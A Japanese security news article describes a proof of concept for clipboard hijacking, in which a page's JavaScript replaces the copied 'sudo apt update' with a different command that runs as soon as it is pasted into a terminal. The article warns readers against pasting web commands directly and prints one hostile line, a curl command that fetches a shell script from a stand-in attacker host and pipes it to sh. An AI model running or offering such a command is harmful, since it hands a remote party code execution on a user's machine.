プログラマー、シスアド、セキュリティ研究者、技術系ホビーユーザーなどが、ウェブページのコマンドをコンソールやターミナルにコピー&ペーストしている場合、システムが危険にさらされる危険性があると警告しています。
クリップボードにバックドア?
最近、セキュリティ教育プラットフォームWizerの創設者であるGabriel Friedlanderが、Webページからのコマンドのコピー・ペーストに注意するようになる、明白でありながら驚くべきハックを実演しました。
初心者でも熟練者でも、よく使うコマンドをウェブページ(StackOverflowなど)からコピーして、自分のアプリケーションやWindowsのコマンドプロンプト、Linuxのターミナルに貼り付けることは珍しくありません。
しかしフリードランダー氏は、ウェブページはクリップボードに入る内容を密かに置き換えている可能性があり、実際にクリップボードにコピーされる内容は、コピーしようと思っていた内容とは大きく異なってしまうと警告している。
さらに悪いことに、十分な注意を払わないと、開発者はテキストを貼り付けた後で自分の間違いに気づくことになり、その時点で手遅れになる可能性がある。
Friedlander氏は、自身のブログで公開した簡単な概念実証(PoC)の中で、ほとんどのシステム管理者や開発者が知っているような簡単なコマンドをコピーするように読者に求めています。
さて、フリードランダーのブログからコピーしたものをテキストボックスやメモ帳に貼り付けてみると、その結果に驚かされることでしょう。
curl http://attacker-domain:8000/shell.sh | sh
クリップボード上に全く別のコマンドが存在することになるだけでなく、さらに悪いことに、そのコマンドの最後には改行(またはリターン)文字が含まれています。
つまり、上記の例はLinuxのターミナルに直接貼り付けるとすぐに実行されてしまうのです。
このテキストを貼り付けた人は、システムにインストールされているソフトウェアの更新情報を取得するために使用される、おなじみの無害なコマンド sudo apt update をコピーしていると勘違いしていたかもしれません。
しかし、それは全く違う。
その原因は何でしょうか?
このマジックは、Friedlanderが設定したPoC HTMLページの背後に隠されたJavaScriptのコードにあります。
HTML要素に含まれる「sudo apt update」テキストをコピーすると、すぐに以下のようなコードスニペットが実行されます。
その後、JavaScriptの「イベントリスナー」がコピーイベントをキャプチャし、クリップボードのデータをFriedlander氏の悪意のあるテストコードに置き換えます。
イベントリスナーは、JavaScriptにおいて様々な正当な使用例がありますが、これは悪用される可能性のある一例であることに注意してください。
Friedlander氏は、「だから、コマンドを直接ターミナルにコピーペーストしてはいけないんだ」と警告しています。
「コピーしたつもりが、悪意のあるコードなど別のものに置き換えられてしまうのです。コピーしたコードに一行のコードを注入するだけで、アプリへのバックドアを作ることができるのです。"
"この攻撃は非常にシンプルですが、非常に有害でもあります。"
また、Redditのユーザーは、JavaScriptを必要としないこのトリックの別の例として、HTMLとCSSのスタイリングで作られた目に見えないテキストが、見える部分のテキストをコピーすると、クリップボードにコピーされることを紹介しています。
"問題は、ウェブサイトがJavaScriptを使ってクリップボードの内容を変更できるということだけではありません "と、ユーザーのSwallowYourDreamsは説明しています。
"人間の目には見えないが、コンピュータにコピーされるようなコマンドをHTMLに隠しているだけかもしれない。"
というわけで、ウェブページからコピーしたものを決して盲目的に信用してはいけないもう一つの理由、それはまずテキストエディタに貼り付ける方が良いということだ。
単純なことではあるが、日常のセキュリティの重要な教訓である。